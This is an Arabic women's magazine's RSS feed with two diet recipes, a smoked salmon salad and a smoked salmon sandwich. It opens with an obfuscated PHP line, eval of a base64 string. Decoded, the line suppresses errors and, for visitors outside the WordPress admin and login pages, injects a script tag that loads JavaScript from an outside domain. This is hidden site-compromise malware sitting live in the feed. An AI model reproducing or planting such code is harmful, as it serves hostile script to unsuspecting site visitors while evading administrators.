eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | المدخن https://jouzal.com مجلة نسائية عربية Tue, 05 Jan 2021 07:42:09 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | المدخن https://jouzal.com 32 32 سلطة السلمون المدخن للرجيم https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 05 Jan 2021 07:42:09 +0000 https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلطة السلمون المدخن للرجيم


<!–

–>

مطبخ سيدتي

Tue, 05 Jan 2021 00:00:00 GMT
Tue, 05 Jan 2021 07:39:22 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلطة السلمون المدخن للرجيم


سلطة السلمون المدخن للرجيم .. وصفة رجيم خفيفة، وشهية، ومناسبة جداً لمن يتبعون الحمية لإنقاص الوزن، تعلمي مع مطبخ سيدتي الطريقة السريعة لتحضيرها وتمتعي بطعمها الرائع والمميز

تعلمي أيضاً:&nbsp; سلمون مشوي مع الأعشاب للرجيم

المقادير

مقادير الصلصة :

الطحينية :
2 ملعقة كبيرة

المايونيز :
ملعقة كبيرة
(لايت)

خل البلسمك :
2 ملعقة كبيرة

عصير الليمون :
2 ملعقة صغيرة

الشبت :
2 ملعقة كبيرة
(مفروم)

ملح :
حسب الرغبة

السلمون المدخن :
100 غراماً

الجرجير :
نصف حزمة

الطماطم الكرزية :
300 غراماً
(ملونة، مقطّعة شرائح)

الأفوكادو :
1 حبة
(مقطّع)

الفجل :
ربع كوب
(مقطّع شرائح)

خس :
8 ورقات

طريقة التحضير

قطّعي أوراق الخسّ بطريقة طوليّة متساوية وضعيها في طبق التقديم.
ضعي الجرجير والطماطم الكرزية الملوّنة والأفوكادو والفجل فوق الخس في الطبق.
وزّعي السلمون في الطبق بشكل جميل.
لتحضير الصلصة: في وعاء صغير، ضعي الطحينة والمايونيز وخلّ البلسميك وعصير الليمون الحامض والشبت المفروم.
رشّي الملح بحسب الذوق واخلطي المكونات جيداً حتى تتجانس.
إذا كانت الصلصة كثيفاً قليلاً، صبّي القليل من الماء.
وزعي كمية قليلة من الصلصة فوق طبق السلطة.
ضعي كمية الصلصة المتبقية في وعاء وقدّميها إلى جانب السلطة، وزيّني بالشبت ثم قدميها.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> ساندويش السلمون المدخن للرجيم https://jouzal.com/%d8%b3%d8%a7%d9%86%d8%af%d9%88%d9%8a%d8%b4-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 29 Dec 2020 20:54:18 +0000 https://jouzal.com/%d8%b3%d8%a7%d9%86%d8%af%d9%88%d9%8a%d8%b4-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

ساندويش السلمون المدخن للرجيم


<!–

–>

مطبخ سيدتي

Tue, 22 Dec 2020 00:00:00 GMT
Tue, 22 Dec 2020 08:18:09 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

ساندويش السلمون المدخن للرجيم


ساندويش السلمون المدخن للرجيم …&nbsp;يدخل سمك السلمون بإعداد وصفات الرجيم المميزة، نقدم لك طريقة عمل الساندويشات السهلة والخفيفة، جربيها اليوم وتمتعي بأطيب المأكولات الشهية والمناسبة لرجيمك

تعلمي أيضاً:&nbsp; سلطة السلمون دايت

المقادير

خبز التوست :
4 شرائح
(أسمر)

جبن كريمي :
ملعقة كبيرة
(قليل الدسم)

السلمون المدخن :
2 شريحة

خيار :
1 حبة
(مُقشر ومُقطع حلقات)

البصل الأحمر :
1 حبة
(صغير الحجم / مقطع شرائح)

طريقة التحضير

ضعي شرائح الخبز على سطح مستوي أملس، وادهني الشريحة الأولى بالجبن.
قومي بطوي شريحة السالمون ليتناسب حجمها مع حجم شرائح الخبز.
ضعي قطعة من الخيار وشريحة من البصل فوق شريحة الخبز الثانية، ثم ضعيها فوق السلمون بحيث يكون البصل للأعلى.
ضعي شريحة الخبز الأخيرة كطبقة أخيرة، قومي بتثبيت الطبقات بعود خشبي صغير، وقدميها.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]>